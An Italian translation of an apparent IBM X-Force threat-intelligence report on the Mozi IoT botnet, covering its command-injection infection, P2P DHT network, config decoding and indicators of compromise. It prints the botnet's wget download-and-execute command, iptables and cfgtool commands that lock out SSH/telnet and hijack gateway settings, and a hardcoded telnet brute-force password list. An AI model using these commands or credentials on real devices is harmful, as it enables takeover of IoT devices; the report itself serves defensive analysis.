Un nuovo attacco botnet è appena arrivato in città

Un attore relativamente nuovo nel campo delle minacce, il botnet Mozi, è stato scoperto da IBM® X-Force tra i dispositivi Internet of Things (IoT).

Questo malware è attivo dalla fine del 2019 e presenta una sovrapposizione di codice con Mirai e le sue varianti. Mozi ha rappresentato quasi il 90% del traffico di rete IoT osservato da ottobre 2019 a giugno 2020.

Questa sorprendente presa di supremazia è stata accompagnata da un enorme aumento dell'attività complessiva dei botnet IoT, il che suggerisce che Mozi non abbia rimosso i concorrenti dal mercato. Piuttosto, ha inondato il mercato, facendo impallidire l'attività delle altre varianti. Nel complesso, le istanze combinate di attacco IoT da ottobre 2019, quando gli attacchi hanno iniziato ad aumentare notevolmente, fino a giugno 2020 sono superiori del 400% rispetto alle istanze combinate di attacco IoT dei due anni precedenti.

Questa impennata di attacchi IoT potrebbe essere dovuta a diverse cause, ma potrebbe in parte derivare da un landscape IoT in continua espansione che gli attori delle minacce possono prendere di mira. Ci sono circa 31 miliardi di dispositivi IoT implementati in tutto il mondo, e il tasso di implementazione dell'IoT è ora di 127 dispositivi al secondo.

I responsabili degli attacchi sfruttano questi dispositivi da tempo, in particolare tramite il botnet Mirai. Il team di intelligence e risposta agli incidenti (IRIS) IBM X-Force lo segue da quasi quattro anni. Allora perché il salto improvviso? La ricerca di IBM suggerisce che Mozi continua ad avere successo principalmente grazie all'uso di attacchi di command injection (CMDi), che spesso derivano dalla configurazione errata dei dispositivi IoT. La continua crescita dell'uso dell'IoT e i protocolli di configurazione scadenti sono i probabili responsabili di questo salto. Questo aumento potrebbe essere stato ulteriormente alimentato dal fatto che si sono effettuati accessi alle reti aziendali da remoto a più spesso causa del COVID-19.

Un botnet IoT può essere utilizzato per eseguire attacchi distributed denial-of-service (DDoS) distribuiti, rubare dati e inviare spam. Esistono moltissimi diversi tipi di dispositivi IoT da utilizzare per gli exploit:

• IoT consumer: dispositivi domestici, come telecamere di sicurezza, controllo dell'illuminazione, elettrodomestici, ecc.
• IoT commerciale: dispositivi progettati per l'uso in vari settori. Ad esempio, il settore sanitario dispone di pacemaker e monitor connessi a internet. I settori dei trasporti e della costruzione utilizzano dispositivi associati ai tracker dei veicoli, alla telematica, ai sistemi logistici e della supply chain e alla modellazione delle informazioni sugli edifici.
• IoT aziendale: dispositivi progettati per l'uso negli uffici, come proiettori, router, sistemi di sicurezza e pubblicità digitale.
• IoT industriale: sistemi di controllo industriale, sistemi di automazione delle linee di produzione, controllori logici e sistemi aeronautici.
• IoT infrastrutturali: sistemi di gestione delle città intelligenti, dispositivi di controllo del traffico, dispositivi di monitoraggio delle utility, ecc.
• Internet of Military Things: dispositivi biometrici da combattimento indossabili, robot e attrezzatura di sorveglianza.

Questa ampia superficie di attacco rende le organizzazioni vulnerabili ai botnet IoT. A ciò si aggiungono le falle di sicurezza che spesso questi dispositivi presentano sin dall'inizio e le pratiche di rafforzamento poco rigorose al momento dell'implementazione. La vulnerabilità più notevole nell'IoT è rappresentata dagli attacchi CMDi.

Quasi tutti i targeting IoT osservati da IBM hanno tentato di utilizzare attacchi CMDi per ottenere l'accesso iniziale al dispositivo. Se l'endpoint bersaglio era un dispositivo IoT ed è vulnerabile a questi attacchi, il payload è stato scaricato ed eseguito.

Gli attacchi CMDi contro i dispositivi IoT sono estremamente diffusi per diversi motivi. Innanzitutto, i sistemi incorporati IoT contengono comunemente un'interfaccia web e un'interfaccia di debug residue dallo sviluppo del firmware, che possono essere sfruttate. In secondo luogo, i moduli PHP integrati nelle interfacce web IoT possono essere sfruttati per fornire agli attori malintenzionati funzionalità di esecuzione remota. E terzo, le interfacce IoT spesso rimangono vulnerabili quando vengono implementate, perché gli amministratori non riescono a renderle più sicure sanificando gli input remoti previsti. Questo consente agli attori delle minacce di inserire comandi shell come "wget".

La nostra analisi ha rivelato che il botnet Mozi utilizza CMDi utilizzando un comando shell "wget", modificando poi le autorizzazioni per consentire all'attore della minaccia di interagire con il sistema interessato. Ad esempio:

wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a

Se l'host era vulnerabile a CMDi, questo comando scaricava ed eseguiva un file chiamato "mozi.a." La nostra analisi di questo particolare esempio indica che il file viene eseguito su un microprocessore senza un'architettura a fasi di pipeline interbloccate (MIPS). Questa è un'estensione compresa dalle macchine che eseguono un'architettura RISC (Reduced Instruction Set Computer), molto diffusa su molti dispositivi IoT. Una volta che l'attaccante ottiene pieno accesso al dispositivo tramite il botnet, il livello firmware può essere modificato e ulteriori malware possono essere installati sul dispositivo.

Sebbene questo esempio citi un vettore ben noto, può continuare a essere efficace per due motivi principali. In primo luogo, le nuove vulnerabilità consentono un aggiornamento costante dei tentativi di sfruttamento tramite CMDi, e l'implementazione lenta delle patch può essere sfruttata. In secondo luogo, questa attività è facilmente automatizzabile, consentendo agli attori delle minacce di colpire un'ampia fascia di dispositivi in modo rapido e a basso costo.

L'infrastruttura botnet Mozi sembra provenire principalmente dalla Cina, che rappresenta l'84% dell'infrastruttura osservata. Questo fatto è in linea con altre ricerche open source sulle attività IoT nel 2020.

Di seguito è riportato un elenco delle vulnerabilità che IBM ha osservato che il botnet Mozi ha tentando di utilizzare:

Il botnet Mozi è un botnet peer-to-peer (P2P) basato sul protocollo DSHT (Distributed Sloppy Hash Table), che può diffondersi tramite gli sfruttamenti di dispositivi IoT e password telnet deboli.

Al momento dell'esecuzione, il botnet Mozi tenta di bloccare la porta locale UDP 14737. Il campione legge /proc/net/tcp o /proc/net/raw per trovare e uccidere i processi che utilizzano le porte 1536 e 5888. Il campione verifica se il file /usr/bin/python esiste. Se esiste, il campione cambia il nome del processo in sshd. Altrimenti, il campione lo cambia in dropbear.

Il botnet Mozi è noto per avere almeno due caratteristiche uniche. Utilizza ECDSA384 (algoritmo di firma digitale a curva ellittica 384) per verificare la sua integrità. Inoltre, riutilizza parti del codice Gafgyt.

Contiene nodi pubblici DHT con codifica fissa, che possono essere utilizzati per unirsi alla rete P2P. Questi nodi sono:

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
Router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

Il botnet Mozi contiene quattro principali funzionalità. Può condurre attacchi DDoS (HTTP, TCP, UDP); eseguire attacchi con esecuzione di comandi; scaricare un payload dannoso dall'URL specificato ed eseguirlo; e raccogliere informazioni sui bot.

La tabella sottostante contiene dettagli di alto livello sui file analizzati. I dettagli includono sia i file inviati che i file residui. (I file residui sono file estratti staticamente o dinamicamente durante l'analisi del malware.) I dati includono il nome del file, la categoria del file determinata dall'analisi, l'hash del file e la parentela dei file in relazione agli altri file della tabella.

Al momento dell'esecuzione, il campione tenta di bloccare la porta UDP locale 14737. Il campione legge /proc/net/tcp o /proc/net/raw per trovare e uccidere i processi che utilizzano le porte 1536 e 5888. Il campione controlla se il file /usr/bin/python esiste. Se esiste, il campione cambia il nome del processo in sshd. Altrimenti, il campione lo cambia in dropbear:

Il campione tenta anche di aggiornare l'elenco di controllo degli accessi per bloccare SSH e telnet per impedire ad altri botnet di utilizzarli.

iptables -I INPUT  -p tcp –destination-port 22 -j DROP
iptables -I INPUT  -p tcp –destination-port 23 -j DROP
iptables -I INPUT  -p tcp –destination-port 2323 -j DROP
iptables -I OUTPUT -p tcp –source-port 22 -j DROP
iptables -I OUTPUT -p tcp –source-port 23 -j DROP
iptables -I OUTPUT -p tcp –source-port 2323 -j DROP

Seleziona inoltre in modo casuale le porte a codifica fissa nella iptable:

Il botnet Mozi utilizza un protocollo DHT personalizzato per sviluppare la sua rete P2P. Il processo con cui un nuovo nodo Mozi si unisce alla rete DHT è il seguente:

• Un nuovo nodo Mozi invierà una richiesta HTTP iniziale a http[:]//ia[.]51[.]la per registrarsi.
• Un nuovo nodo Mozi invia una query DHT find_node a otto nodi pubblici DHT a codifica fissa e collega questi nodi per unirsi alla rete. Il nodo Find viene utilizzato per trovare le informazioni di contatto di un nodo dato il suo ID. Questi otto nodi pubblici DHT a codifica fissa sono i seguenti:

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
Router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

Il campione deve generare un ID per il nodo corrente. Secondo un rapporto di 360 Netlab su Mozi, l'"ID è di 20 byte e consiste nel prefisso 888888 incorporato nel campione o nel prefisso specificato dal file di configurazione [hp], più una stringa generata casualmente." Il file di configurazione è mostrato di seguito:.

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 

Per unirsi alla rete DHT, il campione invia una query ping a questi nodi pubblici DHT a codifica fissa. La query ping con ID del nodo è mostrata nel traffico nella figura di Wireshark qui sotto

Entrambi i campioni vengono impacchettati utilizzando un packer UPX personalizzato. Questo cancella il valore di p_file_size e p_blocksize a zero nella struttura p_info.

Il campione contiene un file di configurazione a codifica fissa mostrato di seguito:

Contiene quattro sezioni:

• Blu: dati di configurazione (428 byte)
• Verde: firma ECDSA384 1 (96 byte)
• Rossa: versione di configurazione (4 byte)
• Nera: firma ECDSA384 2 (96 byte)

I dati di configurazione vengono codificati utilizzando una chiave XOR a codifica fissa, 4E665A8F80C8AC238DAC4706D54F6F7E. I dati di configurazione decodificati sono mostrati di seguito:

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 

I dati di configurazione supportano più comandi che sono etichettati come segue:

Il botnet Mozi riutilizza parti del codice Gafgyt nell'attacco DDoS. Supporta diversi tipi di attacchi DDoS, come HTTP, TCP e UDP.

La firma ECDSA384 1 viene utilizzata per verificare il valore hash dei dati di configurazione. La chiave pubblica a codifica fissa utilizzata per la verifica è:

4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 
88

È codificata con la chiave XOR 4E665A8F80C8AC238DAC4706D54F6F7E. La chiave pubblica decodificata è:

02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d 
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 
c6

La versione di configurazione determina quando aggiornare il bot. Il bot verrà aggiornato quando questo valore sarà maggiore del suo valore attuale. Per verificare queste prime tre parti del file di configurazione viene utilizzata la firma ECDSA384 2. La chiave pubblica a codifica fissa utilizzata per la verifica è:

4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 
A1

È codificata con la chiave XOR 4E665A8F80C8AC238DAC4706D54F6F7E. La chiave pubblica decodificata è:

02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea 
ef

Oltre alle vulnerabilità sfruttate dal botnet Mozi per ottenere l'accesso al dispositivo vittima, il botnet Mozi può anche forzare con forza bruta le credenziali telnet utilizzando un elenco a codifica fissa di credenziali:

root
admin
CUAdmin
default
rapport
super
telnetadmin
!!Huawei
keomeo
support
CMCCAdmin
e8telnet
e8ehome1
e8ehome
user
mother
Administrator
service
supervisor
guest
admin1
administrator
666666
888888
ubnt
tech
xc3511
vizxv
Pon521
e2008jl
r@p8p0r+
GM8182
gpon
Zte521
hg2x0
epicrouter
conexant
xJ4pCYeW
v2mprt
PhrQjGzk
h@32LuyD
gw1admin
adminpass
xmhdipc
juantech
@HuaweiHgw
adminHW
2010vesta
2011vesta
plumeria0077
cat1029
123456
54321
hi3518
password
12345
fucker
pass
admin1234
1111
smcadmin
1234
klv123
klv1234
zte
jvbzd
anko
zlxx
7ujMko0vizxv
7ujMko0admin
system
ikwb
dreambox
realtek
00000000
1111111
meinsm

Segue una forza bruta di accesso telnet utilizzata dal campione:

Mozi.m e Mozi.a

Rete

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
Router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

Stringhe notevoli (non impacchettate)

8.8.8.8
/proc/net/route
Mozilla/4.0 (Compatibile; MSIE 8.0; Windows NT 5.2; Trident/6.0)
Mozilla/4.0 (compatibile; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Mozilla/4.0 (compatibile; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Mozilla/4.0 (compatibile; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Mozilla/4.0 (compatibile; MSIE 8.0; Windows NT 6.0; sì) Opera 11.00
Mozilla/4.0 (compatibile; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Mozilla/4.0 (compatibile; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/51.0.2704.79 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 come Mac OS X) AppleWebKit/600.1.4 (KHTML, come Gecko) Versione/8.0 Mobile/12H143 Safari/600.1.4
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/45.0.2454.101 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/46.0.2490.80 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, come Gecko) Versione/9.0 Safari/601.1.56
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, come Gecko) Version/9.0.1 Safari/601.2.7
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) come Gecko
Mozilla/4.0 (compatibile; MSIE 6.1; Windows XP)
Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Versione/10.51
Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Versione/12.16
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, come Gecko) Versione/7.0.3 Safari/7046A194A
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/50.0.2661.94 Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, come Gecko) Versione/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Mozilla/4.0 (compatibile; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Mozilla/4.0 (compatibile; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)
Mozilla/4.0 (compatibile; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatibile; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64 (en-US)
Mozilla/4.0 (compatibile; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/4.0 (compatibile; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64 (en-US)
 Mozilla/4.0 (compatibile; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
GET
HEAD
POST
./config
/tmp/config
cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL “http://127.0.0.1″>http://127.0.0.1”
cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword “acsMozi”
iptables -I INPUT  -p tcp –destination-port 35000 -j DROP
iptables -I INPUT  -p tcp –destination-port 50023 -j DROP
iptables -I OUTPUT -p tcp –source-port 50023 -j DROP
iptables -I OUTPUT -p tcp –source-port 35000 -j DROP
iptables -I INPUT  -p tcp –destination-port 7547 -j DROP
iptables -I OUTPUT -p tcp –source-port 7547 -j DROP
[cpux]
[/cpux]
[cpu]
[/cpu]
[ssx]
[/ssx]
[ss]
[/ss]
none
[sv]
[/sv]
[rn]
[/rn]
run:
[nd]
[/nd]
/tmp
/var
/temp
iptables -I INPUT  -p udp –destination-port %d -j ACCEPT
iptables -I OUTPUT -p udp –source-port %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp –destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp –source-port %d -j ACCEPT
0.0.0.0
[idp]
Questo nodo non accetta annunci
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881

Il landscape dei botnet IoT continua a cambiare e i dati di IBM Security suggeriscono che gli attori delle minacce rimangono attivi in questo spazio. Man mano che i nuovi gruppi botnet, come Mozi, intensificano le operazioni e l'attività IoT cresce complessivamente, le organizzazioni che utilizzano dispositivi IoT devono essere consapevoli della minaccia in evoluzione. IBM vede sempre più spesso i dispositivi IoT aziendali sotto attacco. La command injection rimane il vettore di infezione principale preferito dagli attori delle minacce, il che ribadisce quanto sia importante modificare le impostazioni predefinite del dispositivo e utilizzare test di penetrazione efficaci per individuare e riparare le lacune nell'armatura.

Metadati Mozi.m

Metadati di Mozi.a

5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a Metadati

83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d Metadati